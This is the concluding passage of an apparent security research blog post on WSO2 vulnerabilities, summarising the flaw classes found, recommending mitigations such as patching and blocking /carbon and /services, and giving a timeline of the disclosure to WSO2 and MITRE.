WSO2's shared codebase and SOAP architecture introduce a wide range of vulnerabilities — from unauthenticated RCE (CVE-2022-29464), auth bypass, SSRF, CSRF, and account takeover (CVE-2024-7097/6914) to multiple authenticated RCE paths (Siddhi, H2, SQLite, JMX).
Mitigation roadmap:
- Apply patches without delay.
- Block
/carbon&/servicesat the DMZ per WSO2 security guidelines. - Run WSO2 behind hardened proxies and segmented networks.
- Audit and disable unused SOAP services and endpoints.
- Encourage stronger secure defaults and clearer configuration guidance.
Despite comprehensive hardening guides, most WSO2 installations continue to leave /carbon and /services exposed, and DMZ filtering alone cannot stop an attacker who is already inside. In internal penetration tests, WSO2 servers are top targets: compromising Identity Server, typically bound to Active Directory, enables interception of domain credentials and can lead to domain compromise. Stronger defaults and built-in hardening options would greatly shrink this attack surface.
Timeline
- 07/24/24: A vulnerability research project on WSO2 products began as part of LEXFO's R&D.
- 03/23/25: LEXFO reported the discovered vulnerabilities to WSO2 via their responsible disclosure process.
- 04/28/25: After 30 days with no response, LEXFO informed WSO2 of its 90-day disclosure policy and its intent to publish the full vulnerability details.
- 04/29/25: WSO2 acknowledged the report and disclosure policy, stating that "none of the issues exceed medium severity."
- 06/18/25: The WSO2 security team informed LEXFO that they would be unable to meet the 90-day deadline and requested a 60-day extension.
- 07/15/25: WSO2 published an advisory for the EventProcessor Siddhi RCE vulnerability, assigning it CVE-2025-5717.
- 07/28/25: The WSO2 security team awarded the reporting researcher a $50 Amazon gift card for the report.
- 09/11/25: For the remaining unpatched vulnerabilities, LEXFO sent a CVE request and vulnerability disclosure to MITRE.
- 10/20/25: This blog post was published, approximately six months after the initial disclosure. At the time of publication, the other reported vulnerabilities remained unpatched, and no response had been received from MITRE.